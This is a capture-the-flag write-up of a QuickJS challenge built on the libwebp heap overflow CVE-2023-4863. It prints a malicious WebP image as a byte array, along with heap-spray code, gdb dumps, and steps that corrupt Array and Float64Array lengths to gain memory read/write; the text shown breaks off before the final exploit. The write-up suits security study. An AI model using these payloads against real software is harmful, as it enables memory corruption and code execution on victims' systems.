Contents

ASIS CTF Finals 2023

https://i.imgur.com/c1UCD2x.png
ASIS CTF Finals 2023. We got 8th place.

To cap off the fantastic year of 2023, I participated with the SKSD team in the ASIS CTF Finals 2023, where we secured 8th place. I extend a huge shoutout and heartfelt thanks to my amazing teammates for their exceptional teamwork throughout the event!

Below is the write-up for the QuickJS pwn challenge named isWebP.js. This challenge is a JavaScript engine pwn task, inspired by CVE-2023-4863. This challenge was solved by only three teams, and I was the third to successfully solve it.

Pwn

isWebP.js

Description

Did you know that Javascript doesn’t have an image validator by default? That’s why I decided to implement something like isNaN for images (isPNG, isJpeg, isWebP). So far I’ve only implemented isWebP and I wanna do a beta test before submitting the proposal to ECMA. You can also test the feature via the address below. Can’t wait for your feedbacks!

nc 5.75.200.150 1337

Initial Analysis

In this challenge, we received an attachment that included the modified quickjs, the altered libwebp, and a compile.sh script for compiling them. Let’s first take a look at the compile.sh file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh
rm build -r 2>/dev/null
mkdir build
mkdir build/libwebp/
git clone https://chromium.googlesource.com/webm/libwebp/
cd libwebp
git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0
git apply ../libwebp.patch
make -f ./makefile.unix -j4
find -name '*.a' | xargs -I '{}' cp '{}' ../build/libwebp
cd ..
git clone https://github.com/bellard/quickjs.git
cd quickjs
git checkout 2ee6be705fde0eb68acec25915d2947de1207abb
git apply ../quickjs.patch
cd ..
cp ./quickjs/* ./build -r
cd build
make qjs -j4
realpath ./qjs

Observing the script reveals that the libwebp version used is vulnerable to the recent exploit CVE-2023-4863. This CVE details an issue in libwebp related to constructing the Huffman Table, essential for compressing WebP images. WebP images use Huffman Coding for compression, and libwebp constructs a Huffman Table to decompress them. However, due to inadequate validity checks, it’s possible to craft a malicious WebP image that causes heap overflow during table construction.

In search of a proof of concept (POC) online, we discovered a good POC containing a sample malicious WebP image. Before utilizing the malicious image, let’s first check the patches implemented by the author.

Examining the libwebp.patch file, the only modification made by the author is the removal of the line of code (LOC) that frees the Huffman table. Therefore, in this challenge, once a Huffman table is allocated, it remains indefinitely.

Next, let’s examine the quickjs.patch file.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
diff --git a/Makefile b/Makefile
index 9b003f0..796c76f 100644
--- a/Makefile
+++ b/Makefile
@@ -108,10 +108,10 @@ ifdef CONFIG_WIN32
 DEFINES+=-D__USE_MINGW_ANSI_STDIO # for standard snprintf behavior
 endif
 
-CFLAGS+=$(DEFINES)
+CFLAGS+=$(DEFINES) -I../libwebp/imageio/ -I../libwebp/src/
 CFLAGS_DEBUG=$(CFLAGS) -O0
 CFLAGS_SMALL=$(CFLAGS) -Os
-CFLAGS_OPT=$(CFLAGS) -O2
+CFLAGS_OPT=$(CFLAGS) -O0
 CFLAGS_NOLTO:=$(CFLAGS_OPT)
 LDFLAGS=-g
 ifdef CONFIG_LTO
@@ -168,7 +168,7 @@ all: $(OBJDIR) $(OBJDIR)/quickjs.check.o $(OBJDIR)/qjs.check.o $(PROGS)
 
 QJS_LIB_OBJS=$(OBJDIR)/quickjs.o $(OBJDIR)/libregexp.o $(OBJDIR)/libunicode.o $(OBJDIR)/cutils.o $(OBJDIR)/quickjs-libc.o $(OBJDIR)/libbf.o 
 
-QJS_OBJS=$(OBJDIR)/qjs.o $(OBJDIR)/repl.o $(QJS_LIB_OBJS)
+QJS_OBJS=$(OBJDIR)/qjs.o $(QJS_LIB_OBJS)
 ifdef CONFIG_BIGNUM
 QJS_OBJS+=$(OBJDIR)/qjscalc.o
 endif
@@ -180,6 +180,7 @@ LIBS+=-ldl -lpthread
 endif
 LIBS+=$(EXTRA_LIBS)
 
+LIBS+=libwebp/libimagedec.a libwebp/libwebpdemux.a libwebp/libimageenc.a libwebp/libimageio_util.a libwebp/libwebp.a libwebp/libsharpyuv.a
 $(OBJDIR):
 	mkdir -p $(OBJDIR) $(OBJDIR)/examples $(OBJDIR)/tests
 
diff --git a/qjs.c b/qjs.c
index c2d63e9..c08c9a2 100644
--- a/qjs.c
+++ b/qjs.c
@@ -41,8 +41,8 @@
 #include "cutils.h"
 #include "quickjs-libc.h"
 
-extern const uint8_t qjsc_repl[];
-extern const uint32_t qjsc_repl_size;
+// extern const uint8_t qjsc_repl[];
+// extern const uint32_t qjsc_repl_size;
 #ifdef CONFIG_BIGNUM
 extern const uint8_t qjsc_qjscalc[];
 extern const uint32_t qjsc_qjscalc_size;
@@ -118,8 +118,8 @@ static JSContext *JS_NewCustomContext(JSRuntime *rt)
     }
 #endif
     /* system modules */
-    js_init_module_std(ctx, "std");
-    js_init_module_os(ctx, "os");
+    // js_init_module_std(ctx, "std");
+    // js_init_module_os(ctx, "os");
     return ctx;
 }
 
@@ -338,6 +338,8 @@ int main(int argc, char **argv)
     }
 #endif
     
+    setbuf(stdout,NULL);
+    setbuf(stdin,NULL);
     /* cannot use getopt because we want to pass the command line to
        the script */
     optind = 1;
@@ -525,7 +527,8 @@ int main(int argc, char **argv)
                 goto fail;
         }
         if (interactive) {
-            js_std_eval_binary(ctx, qjsc_repl, qjsc_repl_size, 0);
+            // js_std_eval_binary(ctx, qjsc_repl, qjsc_repl_size, 0);
+            exit(1);
         }
         js_std_loop(ctx);
     }
diff --git a/qjsc.c b/qjsc.c
index f8e60b3..23b9b00 100644
--- a/qjsc.c
+++ b/qjsc.c
@@ -509,8 +509,8 @@ int main(int argc, char **argv)
     memset(&dynamic_module_list, 0, sizeof(dynamic_module_list));
     
     /* add system modules */
-    namelist_add(&cmodule_list, "std", "std", 0);
-    namelist_add(&cmodule_list, "os", "os", 0);
+    // namelist_add(&cmodule_list, "std", "std", 0);
+    // namelist_add(&cmodule_list, "os", "os", 0);
 
     for(;;) {
         c = getopt(argc, argv, "ho:cN:f:mxevM:p:S:D:");
diff --git a/quickjs-libc.c b/quickjs-libc.c
index d99bbf4..923dae4 100644
--- a/quickjs-libc.c
+++ b/quickjs-libc.c
@@ -3783,8 +3783,8 @@ void js_std_add_helpers(JSContext *ctx, int argc, char **argv)
     
     JS_SetPropertyStr(ctx, global_obj, "print",
                       JS_NewCFunction(ctx, js_print, "print", 1));
-    JS_SetPropertyStr(ctx, global_obj, "__loadScript",
-                      JS_NewCFunction(ctx, js_loadScript, "__loadScript", 1));
+    // JS_SetPropertyStr(ctx, global_obj, "__loadScript",
+                      // JS_NewCFunction(ctx, js_loadScript, "__loadScript", 1));
     
     JS_FreeValue(ctx, global_obj);
 }
diff --git a/quickjs.c b/quickjs.c
index 719fde1..80ee90f 100644
--- a/quickjs.c
+++ b/quickjs.c
@@ -32,6 +32,7 @@
 #include <time.h>
 #include <fenv.h>
 #include <math.h>
+#include <webpdec.h>
 #if defined(__APPLE__)
 #include <malloc/malloc.h>
 #elif defined(__linux__)
@@ -48858,6 +48859,60 @@ static JSValue js_global_unescape(JSContext *ctx, JSValueConst this_val,
     return string_buffer_end(b);
 }
 
+
+static JSValue js_global_isWebP(JSContext *ctx, JSValueConst this_val,
+                                  int argc, JSValueConst *argv)
+{
+    JSObject *tarray;
+    JSValue obj;
+    uint8_t *buf;
+    size_t buflen;
+    WebPBitstreamFeatures *bitstream;
+    WebPDecoderConfig config;
+    VP8StatusCode status;
+
+    if(argc != 1 || JS_VALUE_GET_TAG(argv[0]) != JS_TAG_OBJECT){
+        return JS_UNDEFINED;
+    }
+
+    obj = JS_ToObject(ctx, argv[0]);
+    tarray = JS_VALUE_GET_OBJ(obj);
+    if(tarray->class_id != JS_CLASS_UINT8_ARRAY){
+        JS_FreeValue(ctx, obj);
+        return JS_UNDEFINED;
+    }
+
+    buflen = tarray->u.array.count;
+    buf = tarray->u.array.u.uint8_ptr;
+
+    if(!WebPInitDecoderConfig(&config)){
+        JS_FreeValue(ctx, obj);
+        return JS_UNDEFINED;
+    }
+
+    bitstream = &config.input;
+    status = WebPGetFeatures(buf, buflen, bitstream);
+    if (status != VP8_STATUS_OK) {
+        JS_FreeValue(ctx, obj);
+        return JS_UNDEFINED;
+    }
+    config.output.colorspace = bitstream->has_alpha ? MODE_RGBA : MODE_RGB;
+    status = DecodeWebP(buf, buflen, &config);
+    WebPFreeDecBuffer(&config.output);
+    JS_FreeValue(ctx, obj);
+    if(status == VP8_STATUS_OK){
+        return JS_NewBool(ctx, 1);
+    } else {
+        return JS_NewBool(ctx, 0);
+    }
+}
+
+static JSValue js_gc(JSContext *ctx, JSValueConst this_val,
+                         int argc, JSValueConst *argv)
+{
+    JS_RunGC(JS_GetRuntime(ctx));
+    return JS_UNDEFINED;
+}
 /* global object */
 
 static const JSCFunctionListEntry js_global_funcs[] = {
@@ -48865,6 +48920,8 @@ static const JSCFunctionListEntry js_global_funcs[] = {
     JS_CFUNC_DEF("parseFloat", 1, js_parseFloat ),
     JS_CFUNC_DEF("isNaN", 1, js_global_isNaN ),
     JS_CFUNC_DEF("isFinite", 1, js_global_isFinite ),
+    JS_CFUNC_DEF("isWebP", 1, js_global_isWebP ),
+    JS_CFUNC_DEF("gc", 0, js_gc ),
 
     JS_CFUNC_MAGIC_DEF("decodeURI", 1, js_global_decodeURI, 0 ),
     JS_CFUNC_MAGIC_DEF("decodeURIComponent", 1, js_global_decodeURI, 1 ),

The key aspect of the patches is the introduction of a new function named isWebP. This function accepts a Uint8Array representing a WebP image stream and attempts to decode the image. The version of libwebp in use is the vulnerable one, therefore, invoking this isWebP function with the malicious image will trigger the heap overflow bug.

Given that the malicious image is already available online, the primary challenge is to craft an exploit that leverages the heap overflow bug to trigger Remote Code Execution (RCE). This is crucial because to retrieve the flag, we must execute the command /readflag.

Solution

Testing the heap overflow

First, let’s set up our helper.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// Helper taken from https://changochen.github.io/2019-04-29-starctf-2019.html
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}
function hex(lo, hi) {
    if( lo == 0 ) {
        return ("0x" + hi.toString(16) + "00000000");
    }
    if( hi == 0 ) {
        return ("0x" + lo.toString(16));
    }
    return ("0x" + ('00000000'+hi.toString(16)).substr(8) +('00000000'+lo.toString(16)).substr(8));
}

Upon reviewing the information in the POC’s blog, we learn that the POC’s malicious image aims to overwrite chunk+0x3000. Let’s try to check what kind of overflow that it can trigger in the gdb. My approach to check about it is:

  • Spray numerous pair of (ArrayBuffer with a size of 0x2f28 and Array with size 0x1).
  • Free some of these ArrayBuffer objects.
  • Attempt to allocate the Huffman table, hoping it occupies one of the freed ArrayBuffer chunks due to the same size.
  • Inspect the value at chunk+0x3000 to analyze the effects of the overflow.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
const webp = new Uint8Array([82, 73, 70, 70, 136, 2, 0, 0, 87, 69, 66, 80, 86, 80, 56, 76, 123, 2, 0, 0, 47, 0, 0, 0, 16, 26, 15, 130, 36, 9, 146, 36, 73, 18, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 86, 207, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 221, 157, 7, 65, 146, 4, 73, 146, 36, 9, 48, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 179, 122, 118, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 247, 206, 131, 32, 73, 130, 36, 73, 146, 4, 24, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 89, 61, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 123, 231, 65, 144, 36, 65, 146, 36, 73, 2, 140, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 172, 158, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 189, 243, 32, 72, 146, 32, 73, 146, 36, 221, 221, 185, 187, 187, 187, 187, 187, 187, 71, 68, 68, 68, 68, 68, 68, 68, 68, 86, 207, 2, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255]);
let x = [];
let y = [];
for (let i = 0; i < 500; i++) {
    x.push(new ArrayBuffer(0x2fb0));
    y.push(new Array(1.1, 2.2));
}

// Free some of it
for (let i = 250; i < 500; i++) {
    x[i] = undefined;
}

// Try to trigger overflow
isWebP(webp);
Math.min(10);

To debug easier, I used a technique from this blog. The trick involves setting a breakpoint at js_math_min_max. Additionally, we’ll set a breakpoint at DecodeImageStream+935, where rax holds the address of huffman_tables.

After running the aforementioned code and examining the state in gdb when breaking at js_math_min_max, we observe that it indeed overwrites huffman_tables+0x3000 with the value 0x30007.

1
2
3
4
5
6
7
8
9
// Before (Fetch this value during the breakpoint at DecodeImageStream+935)
gef> x/30gx $rax+0x3000
0x555555b4f880:	0x0000000000000002	0x0000000000000031
0x555555b4f890:	0x0000000000000002	0x0000000000000000

// After (Fetch this value during the breakpoint at js_math_min_max)
gef> x/30gx 0x0000555555b4c880+0x3000
0x555555b4f880:	0x0000000000030007	0x0000000000000031
0x555555b4f890:	0x0000000000000002	0x0000000000000000

Now that we know the heap overflow is indeed triggered, we need to start thinking on how to leverage this to gain RCE.

Gaining read and write primitive

The strategy here leverages the heap overflow to overwrite the length of an existing data type, enabling Out-of-Bounds (OOB) read/write capabilities. After experimenting in gdb to achieve an optimal heap layout, I found the following sequence effective.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// Helper taken from https://changochen.github.io/2019-04-29-starctf-2019.html
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}
function hex(lo, hi) {
    if( lo == 0 ) {
        return ("0x" + hi.toString(16) + "00000000");
    }
    if( hi == 0 ) {
        return ("0x" + lo.toString(16));
    }
    return ("0x" + ('00000000'+hi.toString(16)).substr(8) +('00000000'+lo.toString(16)).substr(8));
}

// Malicious webp
const webp = new Uint8Array([82, 73, 70, 70, 136, 2, 0, 0, 87, 69, 66, 80, 86, 80, 56, 76, 123, 2, 0, 0, 47, 0, 0, 0, 16, 26, 15, 130, 36, 9, 146, 36, 73, 18, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 68, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 86, 207, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 238, 221, 157, 7, 65, 146, 4, 73, 146, 36, 9, 48, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 50, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 51, 179, 122, 118, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 247, 206, 131, 32, 73, 130, 36, 73, 146, 4, 24, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 153, 89, 61, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 187, 123, 231, 65, 144, 36, 65, 146, 36, 73, 2, 140, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 204, 172, 158, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 221, 189, 243, 32, 72, 146, 32, 73, 146, 36, 221, 221, 185, 187, 187, 187, 187, 187, 187, 71, 68, 68, 68, 68, 68, 68, 68, 68, 86, 207, 2, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255]);

// Spray to shape heap
let x = [];
let y = [];
for (let i = 0; i < 500; i++) {
    x.push(new ArrayBuffer(0x2fb0));
    y.push(new Array(1.1, 2.2));
    y[i][0] = 0x1337;
}

// Free ArrayBuffer, so that malicious webp chunk will be allocated in
// the ArrayBuffer freed chunk, leads to overwriting the Array size.
for (let i = 490; i < 500; i++) {
    x[i] = undefined;
}

// Allocate the malicious webp multiple times, with hope that it
// overwrite one of the Array size that we spray before
for (let i = 0; i < 5; i++) {
    isWebP(webp);
}

// To check which Array size that was overwritten with the webp,
// if we can access element larger than it original size (2), that means
// the Array size got overwritten.
for (let i = 490; i < 500; i++) {
    console.log(i, y[i][7]);
}
// We can see that y[492] until y[496] size was overwritten, because the result isn't undefined

Here’s a brief explanation of my approach: Initially, I spray pairs of ArrayBuffer(0x2fb0) and Array(1.1, 2.2). This spray aims to achieve a layout like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
...
-----
ArrayBuffer
----
Array
-----
ArrayBuffer
----
Array
-----
ArrayBuffer
----
Array
...

Freeing some of the ArrayBuffer objects results in a heap layout like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
-----
Free Chunk with size 0x2fc0
----
Array
-----
Free Chunk with size 0x2fc0
----
Array
-----
Free Chunk with size 0x2fc0
----
Array
...

Then, allocating the huffman_tables via isWebP (which effectively allocates a chunk of size 0x2f30) will reuse these free chunks. Consequently, huffman_tables+0x3000 will point to the Array size and overwrite it with a large value (0x30007).

To gain a deeper understanding, let’s set a breakpoint right before we spray the huffman_tables. We can simply insert a Math.min call just after freeing the ArrayBuffer to facilitate this. Then, we’ll examine the largebin list.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
large_bins[idx=111, size=0x2a00-0x3000, @0x7ffff7dff400]: fd=0x555555e21cc0, bk=0x555555e24df0
 -> Chunk(addr=0x555555e21cc0, size=0x2fc0, flags=PREV_INUSE, fd=0x555555e343e0, bk=0x7ffff7dff3f0, fd_nextsize=0x555555e21cc0, bk_nextsize=0x555555e21cc0)
 -> Chunk(addr=0x555555e343e0, size=0x2fc0, flags=PREV_INUSE, fd=0x555555e312b0, bk=0x555555e21cc0)
 -> Chunk(addr=0x555555e312b0, size=0x2fc0, flags=PREV_INUSE, fd=0x555555e2e180, bk=0x555555e343e0)
 -> Chunk(addr=0x555555e2e180, size=0x2fc0, flags=PREV_INUSE, fd=0x555555e2b050, bk=0x555555e312b0)
 -> Chunk(addr=0x555555e2b050, size=0x2fc0, flags=PREV_INUSE, fd=0x555555e27f20, bk=0x555555e2e180)
 -> Chunk(addr=0x555555e27f20, size=0x2fc0, flags=PREV_INUSE, fd=0x555555e24df0, bk=0x555555e2b050)
 -> Chunk(addr=0x555555e24df0, size=0x2fc0, flags=PREV_INUSE, fd=0x7ffff7dff3f0, bk=0x555555e27f20)

gef> x/30gx 0x555555e24df0+0x10+0x3000-0x50
0x555555e27db0:	0x0000000000002fc0	0x0000000000000050
0x555555e27dc0:	0x00020d0000000001	0x0000555555e24c98
0x555555e27dd0:	0x0000555555e2aef8	0x0000555555822e70
0x555555e27de0:	0x0000555555e27e10	0x0000000000000000
0x555555e27df0:	0x0000000000000002	0x0000555555e27e40
0x555555e27e00:	0x0000000000000002	0x0000000000000031

Assume we successfully allocate the huffman_tables chunk to the address 0x555555e24df0. Invoking malloc(0x2f28) will utilize the aforementioned large_bins chunk, as its size falls within the bin range of 0x2a00 to 0x3000. In the memory view outlined above, chunk+0x3000 points to the size field of one of our sprayed Array objects (size is at chunk+0x40 (0x2), buffer is at chunk+0x38 (0x0000555555e27e40)). Due to the overflow, this Array size will be overwritten.

Next, let’s inspect the output of the JavaScript file we crafted.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
490 undefined
491 undefined
492 [unsupported type]
493 [unsupported type]
494 [unsupported type]
495 [unsupported type]
496 [unsupported type]
497 undefined
498 undefined
499 undefined

The reason entries y[492] to y[496] output values other than undefined, unlike the rest, is due to the successful overwrite of their size field through the overflow.

Despite successfully achieving an Out-of-Bounds (OOB) write, as you noted, the OOB read isn’t functioning as expected, only displaying [unsupported type]. To better understand the OOB write, let’s conduct a small experiment:

1
2
3
4
for (let i = 0; i < 5; i++) {
    y[496][i] = 0x13371337;
}
Math.min(y[496]); // Debug

Run the above code and inspect the memory layout.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
// *r8 points to y[496] during breakpoint at js_math_min_max
gef> x/60gx *(uint64_t*)$r8
0x555555e37640:	0x00020d0000000002	0x0000555555e34518
0x555555e37650:	0x0000555555e3a778	0x0000555555822e70
0x555555e37660:	0x0000555555e37690	0x0000000000000000
0x555555e37670:	0x0000000000000002	0x0000555555e376c0
0x555555e37680:	0x0000000000030007	0x0000000000000031
0x555555e37690:	0x0000000000000002	0x0000000000000000
0x555555e376a0:	0x0000000000000000	0x0000000000000000
0x555555e376b0:	0x0000000000000000	0x0000000000000031
0x555555e376c0:	0x0000000013371337	0x0000000000000000
0x555555e376d0:	0x0000000013371337	0x0000000000000000
0x555555e376e0:	0x0000000013371337	0x0000000000000000
0x555555e376f0:	0x0000000013371337	0x0000000000000000
0x555555e37700:	0x0000000013371337	0x0000000000000000

After examining the memory layout post OOB write, the following observations are made:

  • Each element occupies 0x10 bytes.
  • Only 4 bytes can be written per 0x10 bytes.

For a stronger write and read primitive, I explored other data types. The Float64Array emerged as a strong candidate, enabling both OOB read and write, provided its length is overwritten. To inspect its structure, invoke Math.min(float_arr), similar to our previous approach with the Array (ensure to remove the earlier experiment from our file).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
// Observed that the Array data type is not a good write primitive.
// One element takes 0x10 bytes, and we can only write 4 bytes per 0x10 bytes.
// So, we need to have a stronger write and read primitive.
//
// Moving forward, we will use y[496] as our limited OOB write.
// Spray Float64Array, with hope that this will be located
// below the corrupted Array.
// We plan to overwrite this size with our limited write primitive from Array later.
let z = [];
for (let i = 0; i < 200; i++) {
    z.push(new Float64Array(0x2));
    z[i][0] = 2261634.5098039214; // Use this as mark (float representation of 0x4141414141414141)
    z[i][1] = 2261634.5098039214; // Use this as mark (float representation of 0x4141414141414141)
}
Math.min(z[0]);

Below is the memory layout:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
gef> x/60gx *(uint64_t*)$r8-0x10
0x555555e2b350:	0x0000000000000000	0x0000000000000051
0x555555e2b360:	0x001f0d0000000002	0x0000555555e2e498
0x555555e2b370:	0x0000555555e28238	0x000055555581ef30
0x555555e2b380:	0x0000555555e2e4e0	0x0000000000000000
0x555555e2b390:	0x0000555555e2b3b0	0x0000555555822890
0x555555e2b3a0:	0x0000000000000002
gef> x/50gx 0x0000555555822890-0x10
0x555555822880:	0x0000000000000000	0x0000000000000021
0x555555822890:	0x4141414141414141	0x4141414141414141

The Float64Array has a layout similar to Array, with the size at chunk+0x40 (0x2) and buffer at chunk+0x38 (0x0000555555822890). Interestingly, the buffer chunk’s data isn’t limited per 0x10 bytes, and the OOB read accurately displays the hexadecimal values as floating points.

Our strategy now involves using the OOB write capability from the Array to overwrite the size of a newly sprayed Float64Array, turning it into a new primitive for reading and writing. Observed that altering y[496][9] and y[496][34] affects one of the sprayed Float64Array objects size. To identify the affected Float64Array, we can mark the first element (y[496][3] and y[496][28]) with a unique value.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// Based on observation in gdb, overwriting these 
// offsets will overwrite:
// - FloatArray64[0] value to 0x37373737, so that later we can use this
//   value as the mark of which FloatArray64 that the size got overwritten
// - FloatArray64 size value to 0x37373737
// We want to corrupt two FloatArray64.
y[496][3] = 0x37373737; // FloatArray64[0]
y[496][9] = 0x37373737; // FloatArray64 size
y[496][28] = 0x37373737; // Other FloatArray64[0]
y[496][34] = 0x37373737; // Other FloatArray64 size

// To check which FloatArray64 that we overwrite just now,
// if the first element value is no longer 2261634.5098039214,
// that means we found the correct index.
for (let i = 0; i < 200; i++) {
